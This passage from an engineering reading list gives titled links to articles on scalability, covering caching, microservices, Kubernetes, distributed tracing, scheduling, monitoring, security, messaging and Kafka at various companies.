* [NoSQL Databases: Survey and Decision Guidance](https://medium.baqend.com/nosql-databases-a-survey-and-decision-guidance-ea7823a822d)
* [How Sharding Works](https://medium.com/@jeeyoungk/how-sharding-works-b4dec46b3f6)
* [Consistent Hashing](http://www.tom-e-white.com/2007/11/consistent-hashing.html)
* [Consistent Hashing: Algorithmic Tradeoffs](https://medium.com/@dgryski/consistent-hashing-algorithmic-tradeoffs-ef6b8e2fcae8)
* [Don’t be tricked by the Hashing Trick](https://booking.ai/dont-be-tricked-by-the-hashing-trick-192a6aae3087)
* [Uniform Consistent Hashing at Netflix](https://medium.com/netflix-techblog/distributing-content-to-open-connect-3e3e391d4dc9)
* [Eventually Consistent - Werner Vogels, CTO at Amazon](https://www.allthingsdistributed.com/2008/12/eventually_consistent.html)
* [Cache is King](https://www.stevesouders.com/blog/2012/10/11/cache-is-king/)
* [Anti-Caching](https://www.the-paper-trail.org/post/2014-06-06-paper-notes-anti-caching/)
* [Understand Latency](http://highscalability.com/latency-everywhere-and-it-costs-you-sales-how-crush-it)
* [Latency Numbers Every Programmer Should Know](http://norvig.com/21-days.html#answers)
* [The Calculus of Service Availability](https://queue.acm.org/detail.cfm?id=3096459&__s=dnkxuaws9pogqdnxmx8i)
* [Architecture Issues When Scaling Web Applications: Bottlenecks, Database, CPU, IO](http://highscalability.com/blog/2014/5/12/4-architecture-issues-when-scaling-web-applications-bottlene.html)
* [Common Bottlenecks](http://highscalability.com/blog/2012/5/16/big-list-of-20-common-bottlenecks.html)
* [Life Beyond Distributed Transactions](https://queue.acm.org/detail.cfm?id=3025012)
* [Relying on Software to Redirect Traffic Reliably at Various Layers](https://www.usenix.org/conference/srecon15/program/presentation/taveira)
* [Breaking Things on Purpose](https://www.usenix.org/conference/srecon17americas/program/presentation/andrus)
* [Avoid Over Engineering](https://medium.com/@rdsubhas/10-modern-software-engineering-mistakes-bc67fbef4fc8)
* [Scalability Worst Practices](https://www.infoq.com/articles/scalability-worst-practices)
* [Use Solid Technologies - Don’t Re-invent the Wheel - Keep It Simple!](https://medium.com/@DataStax/instagram-engineerings-3-rules-to-a-scalable-cloud-application-architecture-c44afed31406)
* [Simplicity by Distributing Complexity](https://jobs.zalando.com/tech/blog/simplicity-by-distributing-complexity/)
* [Why Over-Reusing is Bad](http://tech.transferwise.com/why-over-reusing-is-bad/)
* [Performance is a Feature](https://blog.codinghorror.com/performance-is-a-feature/)
* [Make Performance Part of Your Workflow](https://codeascraft.com/2014/12/11/make-performance-part-of-your-workflow/)
* [The Benefits of Server Side Rendering over Client Side Rendering](https://medium.com/walmartlabs/the-benefits-of-server-side-rendering-over-client-side-rendering-5d07ff2cefe8)
* [Automate and Abstract: Lessons at Facebook](https://architecht.io/lessons-from-facebook-on-engineering-for-scale-f5716f0afc7a)
* [AWS Do's and Don'ts](https://8thlight.com/blog/sarah-sunday/2017/09/15/aws-dos-and-donts.html)
* [(UI) Design Doesn’t Scale - Stanley Wood, Design Director at Spotify](https://medium.com/@hellostanley/design-doesnt-scale-4d81e12cbc3e)
* [Linux Performance](http://www.brendangregg.com/linuxperf.html)
* [Building Fast and Resilient Web Applications - Ilya Grigorik](https://www.igvita.com/2016/05/20/building-fast-and-resilient-web-applications/)
* [Accept Partial Failures, Minimize Service Loss](https://www.usenix.org/conference/srecon17asia/program/presentation/wang_daxin)
* [Design for Resiliency](http://highscalability.com/blog/2012/12/31/designing-for-resiliency-will-be-so-2013.html)
* [Design for Self-healing](https://docs.microsoft.com/en-us/azure/architecture/guide/design-principles/self-healing)
* [Design for Scaling Out](https://docs.microsoft.com/en-us/azure/architecture/guide/design-principles/scale-out)
* [Design for Evolution](https://docs.microsoft.com/en-us/azure/architecture/guide/design-principles/design-for-evolution)
* [Learn from Mistakes](http://highscalability.com/blog/2013/8/26/reddit-lessons-learned-from-mistakes-made-scaling-to-1-billi.html)
## Scalability
* [Microservices and Orchestration](https://martinfowler.com/microservices/)
* [Domain-Oriented Microservice Architecture at Uber](https://eng.uber.com/microservice-architecture/)
* [Service Architecture (3 parts: Domain Gateways, Value-Added Services, BFF) at SoundCloud](https://developers.soundcloud.com/blog/service-architecture-3)
* [Container (8 parts) at Riot Games](https://engineering.riotgames.com/news/thinking-inside-container)
* [Containerization at Pinterest](https://medium.com/@Pinterest_Engineering/containerization-at-pinterest-92295347f2f3)
* [Evolution of Container Usage at Netflix](https://medium.com/netflix-techblog/the-evolution-of-container-usage-at-netflix-3abfc096781b)
* [Dockerizing MySQL at Uber](https://eng.uber.com/dockerizing-mysql/)
* [Testing of Microservices at Spotify](https://labs.spotify.com/2018/01/11/testing-of-microservices/)
* [Docker in Production at Treehouse](https://medium.com/treehouse-engineering/lessons-learned-running-docker-in-production-5dce99ece770)
* [Microservice at SoundCloud](https://developers.soundcloud.com/blog/inside-a-soundcloud-microservice)
* [Operate Kubernetes Reliably at Stripe](https://stripe.com/blog/operating-kubernetes)
* [Cross-Cluster Traffic Mirroring with Istio at Trivago](https://tech.trivago.com/2020/06/10/cross-cluster-traffic-mirroring-with-istio/)
* [Agrarian-Scale Kubernetes (3 parts) at New York Times](https://open.nytimes.com/agrarian-scale-kubernetes-part-3-ee459887ed7e)
* [Nanoservices at BBC](https://medium.com/bbc-design-engineering/powering-bbc-online-with-nanoservices-727840ba015b)
* [PowerfulSeal: Testing Tool for Kubernetes Clusters at Bloomberg](https://www.techatbloomberg.com/blog/powerfulseal-testing-tool-kubernetes-clusters/)
* [Conductor: Microservices Orchestrator at Netflix](https://medium.com/netflix-techblog/netflix-conductor-a-microservices-orchestrator-2e8d4771bf40)
* [Docker Containers that Power Over 100.000 Online Shops at Shopify](https://shopifyengineering.myshopify.com/blogs/engineering/docker-at-shopify-how-we-built-containers-that-power-over-100-000-online-shops)
* [Microservice Architecture at Medium](https://medium.engineering/microservice-architecture-at-medium-9c33805eb74f)
* [From bare-metal to Kubernetes at Betabrand](https://boxunix.com/post/bare_metal_to_kube/)
* [Kubernetes at Tinder](https://medium.com/tinder-engineering/tinders-move-to-kubernetes-cda2a6372f44)
* [Kubernetes at Quora](https://www.quora.com/q/quoraengineering/Adopting-Kubernetes-at-Quora)
* [Kubernetes Platform at Pinterest](https://medium.com/pinterest-engineering/building-a-kubernetes-platform-at-pinterest-fb3d9571c948)
* [Microservices at Nubank](https://medium.com/building-nubank/microservices-at-nubank-an-overview-2ebcb336c64d)
* [Payment Transaction Management in Microservices at Mercari](https://engineering.mercari.com/en/blog/entry/20210831-2019-06-07-155849/)
* [Service Mesh at Snap](https://eng.snap.com/monolith-to-multicloud-microservices-snap-service-mesh)
* [GRIT: Protocol for Distributed Transactions across Microservices at eBay](https://tech.ebayinc.com/engineering/grit-a-protocol-for-distributed-transactions-across-microservices/)
* [Rubix: Kubernetes at Palantir](https://medium.com/palantir/introducing-rubix-kubernetes-at-palantir-ab0ce16ea42e)
* [CRISP: Critical Path Analysis for Microservice Architectures at Uber](https://eng.uber.com/crisp-critical-path-analysis-for-microservice-architectures/)
* [Distributed Caching](https://www.wix.engineering/post/scaling-to-100m-to-cache-or-not-to-cache)
* [EVCache: Distributed In-memory Caching at Netflix](https://medium.com/netflix-techblog/caching-for-a-global-netflix-7bcc457012f1)
* [EVCache Cache Warmer Infrastructure at Netflix](https://medium.com/netflix-techblog/cache-warming-agility-for-a-stateful-service-2d3b1da82642)
* [Memsniff: Robust Memcache Traffic Analyzer at Box](https://blog.box.com/blog/introducing-memsniff-robust-memcache-traffic-analyzer/)
* [Caching with Consistent Hashing and Cache Smearing at Etsy](https://codeascraft.com/2017/11/30/how-etsy-caches/)
* [Analysis of Photo Caching at Facebook](https://code.facebook.com/posts/220956754772273/an-analysis-of-facebook-photo-caching/)
* [Cache Efficiency Exercise at Facebook](https://code.facebook.com/posts/964122680272229/web-performance-cache-efficiency-exercise/)
* [tCache: Scalable Data-aware Java Caching at Trivago](http://tech.trivago.com/2015/10/15/tcache/)
* [Pycache: In-process Caching at Quora](https://engineering.quora.com/Pycache-lightning-fast-in-process-caching)
* [Reduce Memcached Memory Usage by 50% at Trivago](http://tech.trivago.com/2017/12/19/how-trivago-reduced-memcached-memory-usage-by-50/)
* [Caching Internal Service Calls at Yelp](https://engineeringblog.yelp.com/2018/03/caching-internal-service-calls-at-yelp.html)
* [Estimating the Cache Efficiency using Big Data at Allegro](https://allegro.tech/2017/01/estimating-the-cache-efficiency-using-big-data.html)
* [Distributed Cache at Zalando](https://jobs.zalando.com/tech/blog/distributed-cache-akka-kubernetes/)
* [Application Data Caching from RAM to SSD at NetFlix](https://medium.com/netflix-techblog/evolution-of-application-data-caching-from-ram-to-ssd-a33d6fa7a690)
* [Tradeoffs of Replicated Cache at Skyscanner](https://medium.com/@SkyscannerEng/the-tradeoffs-of-a-replicated-cache-b6680c722f58)
* [Avoiding Cache Stampede at DoorDash](https://blog.doordash.com/avoiding-cache-stampede-at-doordash-55bbf596d94b)
* [Location Caching with Quadtrees at Yext](http://engblog.yext.com/post/geolocation-caching)
* [Video Metadata Caching at Vimeo](https://medium.com/vimeo-engineering-blog/video-metadata-caching-at-vimeo-a54b25f0b304)
* [Scaling Redis at Twitter](http://highscalability.com/blog/2014/9/8/how-twitter-uses-redis-to-scale-105tb-ram-39mm-qps-10000-ins.html)
* [Scaling Job Queue with Redis at Slack](https://slack.engineering/scaling-slacks-job-queue-687222e9d100)
* [Moving persistent data out of Redis at Github](https://githubengineering.com/moving-persistent-data-out-of-redis/)
* [Storing Hundreds of Millions of Simple Key-Value Pairs in Redis at Instagram](https://engineering.instagram.com/storing-hundreds-of-millions-of-simple-key-value-pairs-in-redis-1091ae80f74c)
* [Redis at Trivago](http://tech.trivago.com/2017/01/25/learn-redis-the-hard-way-in-production/)
* [Optimizing Redis Storage at Deliveroo](https://deliveroo.engineering/2017/01/19/optimising-membership-queries.html)
* [Memory Optimization in Redis at Wattpad](http://engineering.wattpad.com/post/23244724794/store-more-stuff-memory-optimization-in-redis)
* [Redis Fleet at Heroku](https://blog.heroku.com/rolling-redis-fleet)
* [Solving Remote Build Cache Misses (2 parts) at SoundCloud](https://developers.soundcloud.com/blog/gradle-remote-build-cache-misses-part-2)
* [Ratings & Reviews (2 parts) at Flipkart](https://blog.flipkart.tech/ratings-reviews-flipkart-part-2-574ab08e75cf)
* [Prefetch Caching of Items at eBay](https://tech.ebayinc.com/engineering/prefetch-caching-of-ebay-items/)
* [Cross-Region Caching Library at Wix](https://www.wix.engineering/post/how-we-built-a-cross-region-caching-library)
* [Improving Distributed Caching Performance and Efficiency at Pinterest](https://medium.com/pinterest-engineering/improving-distributed-caching-performance-and-efficiency-at-pinterest-92484b5fe39b)
* [HTTP Caching and CDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching)
* [Zynga Geo Proxy: Reducing Mobile Game Latency at Zynga](https://www.zynga.com/blogs/engineering/zynga-geo-proxy-reducing-mobile-game-latency)
* [Google AMP at Condé Nast](https://technology.condenast.com/story/the-why-and-how-of-google-amp-at-conde-nast)
* [A/B Tests on Hosting Infrastructure (CDNs) at Deliveroo](https://deliveroo.engineering/2016/09/19/ab-testing-cdns.html)
* [HAProxy with Kubernetes for User-facing Traffic at SoundCloud](https://developers.soundcloud.com/blog/how-soundcloud-uses-haproxy-with-kubernetes-for-user-facing-traffic)
* [Bandaid: Service Proxy at Dropbox](https://blogs.dropbox.com/tech/2018/03/meet-bandaid-the-dropbox-service-proxy/)
* [Service Workers at Slack](https://slack.engineering/service-workers-at-slack-our-quest-for-faster-boot-times-and-offline-support-3492cf79c88)
* [CDN Services at Spotify](https://labs.spotify.com/2020/02/24/how-spotify-aligned-cdn-services-for-a-lightning-fast-streaming-experience/)
* [Distributed Locking](https://martin.kleppmann.com/2016/02/08/how-to-do-distributed-locking.html)
* [Chubby: Lock Service for Loosely Coupled Distributed Systems at Google](https://blog.acolyer.org/2015/02/13/the-chubby-lock-service-for-loosely-coupled-distributed-systems/)
* [Distributed Locking at Uber](https://www.youtube.com/watch?v=MDuagr729aU)
* [Distributed Locks using Redis at GoSquared](https://engineering.gosquared.com/distributed-locks-using-redis)
* [ZooKeeper at Twitter](https://blog.twitter.com/engineering/en_us/topics/infrastructure/2018/zookeeper-at-twitter.html)
* [Eliminating Duplicate Queries using Distributed Locking at Chartio](https://blog.chartio.com/posts/eliminating-duplicate-queries-using-distributed-locking)
* [Distributed Tracking, Tracing, and Measuring](https://www.oreilly.com/ideas/understanding-the-value-of-distributed-tracing)
* [Zipkin: Distributed Systems Tracing at Twitter](https://blog.twitter.com/engineering/en_us/a/2012/distributed-systems-tracing-with-zipkin.html)
* [Improve Zipkin Traces using Kubernetes Pod Metadata at SoundCloud](https://developers.soundcloud.com/blog/using-kubernetes-pod-metadata-to-improve-zipkin-traces)
* [Canopy: Scalable Distributed Tracing & Analysis at Facebook](https://www.infoq.com/presentations/canopy-scalable-tracing-analytics-facebook)
* [Pintrace: Distributed Tracing at Pinterest](https://medium.com/@Pinterest_Engineering/distributed-tracing-at-pinterest-with-new-open-source-tools-a4f8a5562f6b)
* [XCMetrics: All-in-One Tool for Tracking Xcode Build Metrics at Spotify](https://engineering.atspotify.com/2021/01/20/introducing-xcmetrics-our-all-in-one-tool-for-tracking-xcode-build-metrics/)
* [Real-time Distributed Tracing at LinkedIn](https://engineering.linkedin.com/distributed-service-call-graph/real-time-distributed-tracing-website-performance-and-efficiency)
* [Tracking Service Infrastructure at Scale at Shopify](https://www.usenix.org/conference/srecon17americas/program/presentation/arthorne)
* [Distributed Tracing at HelloFresh](https://engineering.hellofresh.com/scaling-hellofresh-distributed-tracing-7b182928247d)
* [Analyzing Distributed Trace Data at Pinterest](https://medium.com/@Pinterest_Engineering/analyzing-distributed-trace-data-6aae58919949)
* [Distributed Tracing at Uber](https://eng.uber.com/distributed-tracing/)
* [JVM Profiler: Tracing Distributed JVM Applications at Uber](https://eng.uber.com/jvm-profiler/)
* [Data Checking at Dropbox](https://www.usenix.org/conference/srecon17asia/program/presentation/mah)
* [Tracing Distributed Systems at Showmax](https://tech.showmax.com/2016/10/tracing-distributed-systems-at-showmax/)
* [osquery Across the Enterprise at Palantir](https://medium.com/@palantir/osquery-across-the-enterprise-3c3c9d13ec55)
* [StatsD at Etsy](https://codeascraft.com/2011/02/15/measure-anything-measure-everything/)
* [StatsD at DoorDash](https://blog.doordash.com/scaling-statsd-84d456a7cc2a)
* [Distributed Scheduling](https://www.csee.umbc.edu/courses/graduate/CMSC621/fall02/lectures/ch11.pdf)
* [Distributed Task Scheduling (3 parts) at PagerDuty](https://www.pagerduty.com/eng/distributed-task-scheduling-3/)
* [Building Cron at Google](https://landing.google.com/sre/sre-book/chapters/distributed-periodic-scheduling/)
* [Distributed Cron Architecture at Quora](https://engineering.quora.com/Quoras-Distributed-Cron-Architecture)
* [Chronos: A Replacement for Cron at Airbnb](https://medium.com/airbnb-engineering/chronos-a-replacement-for-cron-f05d7d986a9d)
* [Scheduler at Nextdoor](https://engblog.nextdoor.com/we-don-t-run-cron-jobs-at-nextdoor-6f7f9cc62040)
* [Peloton: Unified Resource Scheduler for Diverse Cluster Workloads at Uber](https://eng.uber.com/peloton/)
* [Fenzo: OSS Scheduler for Apache Mesos Frameworks at Netflix](https://medium.com/netflix-techblog/fenzo-oss-scheduler-for-apache-mesos-frameworks-5c340e77e543)
* [Airflow - Workflow Orchestration](https://airflow.apache.org/)
* [Airflow at Airbnb](https://medium.com/airbnb-engineering/airflow-a-workflow-management-platform-46318b977fd8)
* [Airflow at Pandora](https://engineering.pandora.com/apache-airflow-at-pandora-1d7a844d68ee)
* [Airflow at Robinhood](https://robinhood.engineering/why-robinhood-uses-airflow-aed13a9a90c8)
* [Airflow at Lyft](https://eng.lyft.com/running-apache-airflow-at-lyft-6e53bb8fccff)
* [Airflow at Drivy](https://drivy.engineering/airflow-architecture/)
* [Airflow at Grab](https://engineering.grab.com/experimentation-platform-data-pipeline)
* [Airflow at Adobe](https://medium.com/adobetech/adobe-experience-platform-orchestration-service-with-apache-airflow-952203723c0b)
* [Auditing Airflow Job Runs at Walmart](https://medium.com/walmartlabs/auditing-airflow-batch-jobs-73b45100045)
* [MaaT: DAG-based Distributed Task Scheduler at Alibaba](https://hackernoon.com/meet-maat-alibabas-dag-based-distributed-task-scheduler-7c9cf0c83438)
* [boundary-layer: Declarative Airflow Workflows at Etsy](https://codeascraft.com/2018/11/14/boundary-layer%e2%80%89-declarative-airflow-workflows/)
* [Distributed Monitoring and Alerting](https://www.oreilly.com/ideas/monitoring-distributed-systems)
* [Unicorn: Remediation System at eBay](https://www.ebayinc.com/stories/blogs/tech/unicorn-rheos-remediation-center/)
* [M3: Metrics and Monitoring Platform at Uber](https://eng.uber.com/optimizing-m3/)
* [Athena: Automated Build Health Management System at Dropbox](https://blogs.dropbox.com/tech/2019/05/athena-our-automated-build-health-management-system/)
* [Vortex: Monitoring Server Applications at Dropbox](https://blogs.dropbox.com/tech/2019/11/monitoring-server-applications-with-vortex/)
* [Nuage: Cloud Management Service at LinkedIn](https://engineering.linkedin.com/blog/2019/solving-manageability-challenges-with-nuage)
* [Telltale: Application Monitoring at Netflix](https://netflixtechblog.com/telltale-netflix-application-monitoring-simplified-5c08bfa780ba)
* [ThirdEye: Monitoring Platform at LinkedIn](https://engineering.linkedin.com/blog/2019/06/smart-alerts-in-thirdeye--linkedins-real-time-monitoring-platfor)
* [Periskop: Exception Monitoring Service at SoundCloud](https://developers.soundcloud.com/blog/periskop-exception-monitoring-service)
* [Securitybot: Distributed Alerting Bot at Dropbox](https://blogs.dropbox.com/tech/2017/02/meet-securitybot-open-sourcing-automated-security-at-scale/)
* [Monitoring System at Alibaba](https://www.usenix.org/conference/srecon18asia/presentation/xinchi)
* [Real User Monitoring at Dailymotion](https://medium.com/dailymotion/real-user-monitoring-1948375f8be5)
* [Alerting Ecosystem at Uber](https://eng.uber.com/observability-at-scale/)
* [Alerting Framework at Airbnb](https://medium.com/airbnb-engineering/alerting-framework-at-airbnb-35ba48df894f)
* [Alerting on Service-Level Objectives (SLOs) at SoundCloud](https://developers.soundcloud.com/blog/alerting-on-slos)
* [Job-based Forecasting Workflow for Observability Anomaly Detection at Uber](https://eng.uber.com/observability-anomaly-detection/)
* [Monitoring and Alert System using Graphite and Cabot at HackerEarth](http://engineering.hackerearth.com/2017/03/21/monitoring-and-alert-system-using-graphite-and-cabot/)
* [Observability (2 parts) at Twitter](https://blog.twitter.com/engineering/en_us/a/2016/observability-at-twitter-technical-overview-part-ii.html)
* [Distributed Security Alerting at Slack](https://slack.engineering/distributed-security-alerting-c89414c992d6)
* [Real-Time News Alerting at Bloomberg](https://www.infoq.com/presentations/news-alerting-bloomberg)
* [Data Pipeline Monitoring System at LinkedIn](https://engineering.linkedin.com/blog/2019/an-inside-look-at-linkedins-data-pipeline-monitoring-system-)
* [Monitoring and Observability at Picnic](https://blog.picnic.nl/monitoring-and-observability-at-picnic-684cefd845c4)
* [Distributed Security](https://msdn.microsoft.com/en-us/library/cc767123.aspx)
* [Approach to Security at Scale at Dropbox](https://blogs.dropbox.com/tech/2018/02/security-at-scale-the-dropbox-approach/)
* [Aardvark and Repokid: AWS Least Privilege for Distributed, High-Velocity Development at Netflix](https://medium.com/netflix-techblog/introducing-aardvark-and-repokid-53b081bf3a7e)
* [LISA: Distributed Firewall at LinkedIn](https://www.slideshare.net/MikeSvoboda/2017-lisa-linkedins-distributed-firewall-dfw)
* [Secure Infrastructure To Store Bitcoin In The Cloud at Coinbase](https://engineering.coinbase.com/how-coinbase-builds-secure-infrastructure-to-store-bitcoin-in-the-cloud-30a6504e40ba)
* [BinaryAlert: Real-time Serverless Malware Detection at Airbnb](https://medium.com/airbnb-engineering/binaryalert-real-time-serverless-malware-detection-ca44370c1b90)
* [Scalable IAM Architecture to Secure Access to 100 AWS Accounts at Segment](https://segment.com/blog/secure-access-to-100-aws-accounts/)
* [OAuth Audit Toolbox at Indeed](http://engineering.indeedblog.com/blog/2018/04/oaudit-toolbox/)
* [Active Directory Password Blacklisting at Yelp](https://engineeringblog.yelp.com/2018/04/ad-password-blacklisting.html)
* [Syscall Auditing at Scale at Slack](https://slack.engineering/syscall-auditing-at-scale-e6a3ca8ac1b8)
* [Athenz: Fine-Grained, Role-Based Access Control at Yahoo](https://yahooeng.tumblr.com/post/160481899076/open-sourcing-athenz-fine-grained-role-based)
* [WebAuthn Support for Secure Sign In at Dropbox](https://blogs.dropbox.com/tech/2018/05/introducing-webauthn-support-for-secure-dropbox-sign-in/)
* [Security Development Lifecycle at Slack](https://slack.engineering/moving-fast-and-securing-things-540e6c5ae58a)
* [Unprivileged Container Builds at Kinvolk](https://kinvolk.io/blog/2018/04/towards-unprivileged-container-builds/)
* [Diffy: Differencing Engine for Digital Forensics in the Cloud at Netflix](https://medium.com/netflix-techblog/netflix-sirt-releases-diffy-a-differencing-engine-for-digital-forensics-in-the-cloud-37b71abd2698)
* [Detecting Credential Compromise in AWS at Netflix](https://medium.com/netflix-techblog/netflix-cloud-security-detecting-credential-compromise-in-aws-9493d6fd373a)
* [Scalable User Privacy at Spotify](https://labs.spotify.com/2018/09/18/scalable-user-privacy/)
* [AVA: Audit Web Applications at Indeed](https://engineering.indeedblog.com/blog/2018/09/application-scanning/)
* [TTL as a Service: Automatic Revocation of Stale Privileges at Yelp](https://engineeringblog.yelp.com/2018/11/ttl-as-a-service.html)
* [Enterprise Key Management at Slack](https://slack.engineering/engineering-dive-into-slack-enterprise-key-management-1fce471b178c)
* [Scalability and Authentication at Twitch](https://blog.twitch.tv/en/2019/03/15/how-twitch-addresses-scalability-and-authentication/)
* [Edge Authentication and Token-Agnostic Identity Propagation at Netflix](https://netflixtechblog.com/edge-authentication-and-token-agnostic-identity-propagation-514e47e0b602)
* [Hardening Kubernetes Infrastructure with Cilium at Palantir](https://blog.palantir.com/hardening-palantirs-kubernetes-infrastructure-with-cilium-1c40d4c7ef0)
* [Improving Web Vulnerability Management through Automation at Lyft](https://eng.lyft.com/improving-web-vulnerability-management-through-automation-2631570d8415)
* [Clock Skew when Syncing Password Payloads at Drobbox](https://dropbox.tech/application/dropbox-passwords-clock-skew-payload-sync-merge)
* [Distributed Messaging, Queuing, and Event Streaming](https://arxiv.org/pdf/1704.00411.pdf)
* [Cape: Event Stream Processing Framework at Dropbox](https://blogs.dropbox.com/tech/2017/05/introducing-cape/)
* [Brooklin: Distributed Service for Near Real-Time Data Streaming at LinkedIn](https://engineering.linkedin.com/blog/2019/brooklin-open-source)
* [Samza: Stream Processing System for Latency Insighs at LinkedIn](https://engineering.linkedin.com/blog/2018/04/samza-aeon--latency-insights-for-asynchronous-one-way-flows)
* [Bullet: Forward-Looking Query Engine for Streaming Data at Yahoo](https://yahooeng.tumblr.com/post/161855616651/open-sourcing-bullet-yahoos-forward-looking)
* [EventHorizon: Tool for Watching Events Streaming at Etsy](https://codeascraft.com/2018/05/29/the-eventhorizon-saga/)
* [Qmessage: Distributed, Asynchronous Task Queue at Quora](https://engineering.quora.com/Qmessage-Handling-Billions-of-Tasks-Per-Day)
* [Cherami: Message Queue System for Transporting Async Tasks at Uber](https://eng.uber.com/cherami/)
* [Dynein: Distributed Delayed Job Queueing System at Airbnb](https://medium.com/airbnb-engineering/dynein-building-a-distributed-delayed-job-queueing-system-93ab10f05f99)
* [Timestone: Queueing System for Non-Parallelizable Workloads at Netflix](https://netflixtechblog.com/timestone-netflixs-high-throughput-low-latency-priority-queueing-system-with-built-in-support-1abf249ba95f)
* [Messaging Service at Riot Games](https://engineering.riotgames.com/news/riot-messaging-service)
* [Debugging Production with Event Logging at Zillow](https://www.zillow.com/engineering/debugging-production-event-logging/)
* [Cross-platform In-app Messaging Orchestration Service at Netflix](https://medium.com/netflix-techblog/building-a-cross-platform-in-app-messaging-orchestration-service-86ba614f92d8)
* [Video Gatekeeper at Netflix](https://medium.com/netflix-techblog/re-architecting-the-video-gatekeeper-f7b0ac2f6b00)
* [Scaling Push Messaging for Millions of Devices at Netflix](https://www.infoq.com/presentations/neflix-push-messaging-scale)
* [Delaying Asynchronous Message Processing with RabbitMQ at Indeed](http://engineering.indeedblog.com/blog/2017/06/delaying-messages/)
* [Benchmarking Streaming Computation Engines at Yahoo](https://yahooeng.tumblr.com/post/135321837876/benchmarking-streaming-computation-engines-at)
* [Improving Stream Data Quality With Protobuf Schema Validation at Deliveroo](https://deliveroo.engineering/2019/02/05/improving-stream-data-quality-with-protobuf-schema-validation.html)
* [Scaling Email Infrastructure at Medium](https://medium.engineering/scaling-email-infrastructure-for-medium-digest-254223c883b8)
* [Real-time Messaging at Slack](https://slack.engineering/real-time-messaging/)
* [Event Stream Database at Nike](https://medium.com/nikeengineering/moving-faster-with-aws-by-creating-an-event-stream-database-dedec8ca3eeb)
* [Event Tracking System at Udemy](https://medium.com/udemy-engineering/designing-the-new-event-tracking-system-at-udemy-a45e502216fd)
* [Event-Driven Messaging](https://martinfowler.com/articles/201701-event-driven.html)
* [Domain-Driven Design at Alibaba](https://medium.com/swlh/creating-coding-excellence-with-domain-driven-design-88f73d2232c3)
* [Domain-Driven Design at Weebly](https://medium.com/weebly-engineering/how-to-organize-your-monolith-before-breaking-it-into-services-69cbdb9248b0)
* [Domain-Driven Design at Moonpig](https://engineering.moonpig.com/development/modelling-for-domain-driven-design)
* [Scaling Event Sourcing for Netflix Downloads](https://www.infoq.com/presentations/netflix-scale-event-sourcing)
* [Scaling Event-Sourcing at Jet.com](https://medium.com/@eulerfx/scaling-event-sourcing-at-jet-9c873cac33b8)
* [Event Sourcing (2 parts) at eBay](https://www.ebayinc.com/stories/blogs/tech/event-sourcing-in-action-with-ebays-continuous-delivery-team/)
* [Event Sourcing at FREE NOW](https://medium.com/inside-freenow/event-sourcing-an-evolutionary-perspective-31e7387aa6f1)
* [Scalable content feed using Event Sourcing and CQRS patterns at Brainly](https://medium.com/engineering-brainly/scalable-content-feed-using-event-sourcing-and-cqrs-patterns-e09df98bf977)
* [Pub-Sub Messaging](https://aws.amazon.com/pub-sub-messaging/)
* [Pulsar: Pub-Sub Messaging at Scale at Yahoo](https://yahooeng.tumblr.com/post/150078336821/open-sourcing-pulsar-pub-sub-messaging-at-scale)
* [Wormhole: Pub-Sub System at Facebook](https://code.facebook.com/posts/188966771280871/wormhole-pub-sub-system-moving-data-through-space-and-time/)
* [MemQ: Cloud Native Pub-Sub System at Pinterest](https://medium.com/pinterest-engineering/memq-an-efficient-scalable-cloud-native-pubsub-system-4402695dd4e7)
* [Pub-Sub in Microservices at Netflix](https://medium.com/netflix-techblog/how-netflix-microservices-tackle-dataset-pub-sub-4a068adcc9a)
* [Kafka - Message Broker](https://martin.kleppmann.com/papers/kafka-debull15.pdf)
* [Kafka at LinkedIn](https://engineering.linkedin.com/kafka/running-kafka-scale)
* [Kafka at Pinterest](https://medium.com/pinterest-engineering/how-pinterest-runs-kafka-at-scale-ff9c6f735be)
* [Kafka at Trello](https://tech.trello.com/why-we-chose-kafka/)
* [Kafka at Salesforce](https://engineering.salesforce.com/how-apache-kafka-inspired-our-platform-events-architecture-2f351fe4cf63)
* [Kafka at The New York Times](https://open.nytimes.com/publishing-with-apache-kafka-at-the-new-york-times-7f0e3b7d2077)
* [Kafka at Yelp](https://engineeringblog.yelp.com/2016/07/billions-of-messages-a-day-yelps-real-time-data-pipeline.html)
* [Kafka at Criteo](https://medium.com/criteo-labs/upgrading-kafka-on-a-large-infra-3ee99f56e970)
* [Kafka on Kubernetes at Shopify](https://shopifyengineering.myshopify.com/blogs/engineering/running-apache-kafka-on-kubernetes-at-shopify)
* [Kafka on PaaSTA: Running Kafka on Kubernetes at Yelp (2 parts)](https://engineeringblog.yelp.com/2022/03/kafka-on-paasta-part-two.html)
* [Migrating Kafka's Zookeeper with No Downtime at Yelp](https://engineeringblog.yelp.com/2019/01/migrating-kafkas-zookeeper-with-no-downtime.html)
* [Reprocessing and Dead Letter Queues with Kafka at Uber](https://eng.uber.com/reliable-reprocessing/)
* [Chaperone: Audit Kafka End-to-End at Uber](https://eng.uber.com/chaperone/)
* [Finding Kafka throughput limit in infrastructure at Dropbox](https://blogs.dropbox.com/tech/2019/01/finding-kafkas-throughput-limit-in-dropbox-infrastructure/)
* [Cost Orchestration at Walmart](https://medium.com/walmartlabs/cost-orchestration-at-walmart-f34918af67c4)
* [InfluxDB and Kafka to Scale to Over 1 Million Metrics a Second at Hulu](https://medium.com/hulu-tech-blog/how-hulu-uses-influxdb-and-kafka-to-scale-to-over-1-million-metrics-a-second-1721476aaff5)
* [Stream Data Deduplication](https://en.wikipedia.org/wiki/Data_deduplication)
* [Exactly-once Semantics with Kafka](https://www.confluent.io/blog/exactly-once-semantics-are-possible-heres-how-apache-kafka-does-it/)
* [Real-time Deduping at Tapjoy](http://eng.tapjoy.com/blog-list/real-time-deduping-at-scale)
* [Deduplication at Segment](https://segment.com/blog/exactly-once-delivery/)
* [Deduplication at Mail.Ru](https://medium.com/@andrewsumin/efficient-storage-how-we-went-down-from-50-pb-to-32-pb-99f9c61bf6b4)
* [Petabyte Scale Data Deduplication at Mixpanel](https://medium.com/mixpaneleng/petabyte-scale-data-deduplication-mixpanel-engineering-e808c70c99f8)
* [Distributed Logging](https://blog.codinghorror.com/the-problem-with-logging/)
* [Logging at LinkedIn](https://engineering.linkedin.com/distributed-systems/log-what-every-software-engineer-should-know-about-real-time-datas-unifying)
* [Scalable and Reliable Log Ingestion at Pinterest](https://medium.com/@Pinterest_Engineering/scalable-and-reliable-data-ingestion-at-pinterest-b921c2ee8754)
* [High-performance Replicated Log Service at Twitter](https://blog.twitter.com/engineering/en_us/topics/infrastructure/2015/building-distributedlog-twitter-s-high-performance-replicated-log-servic.html)
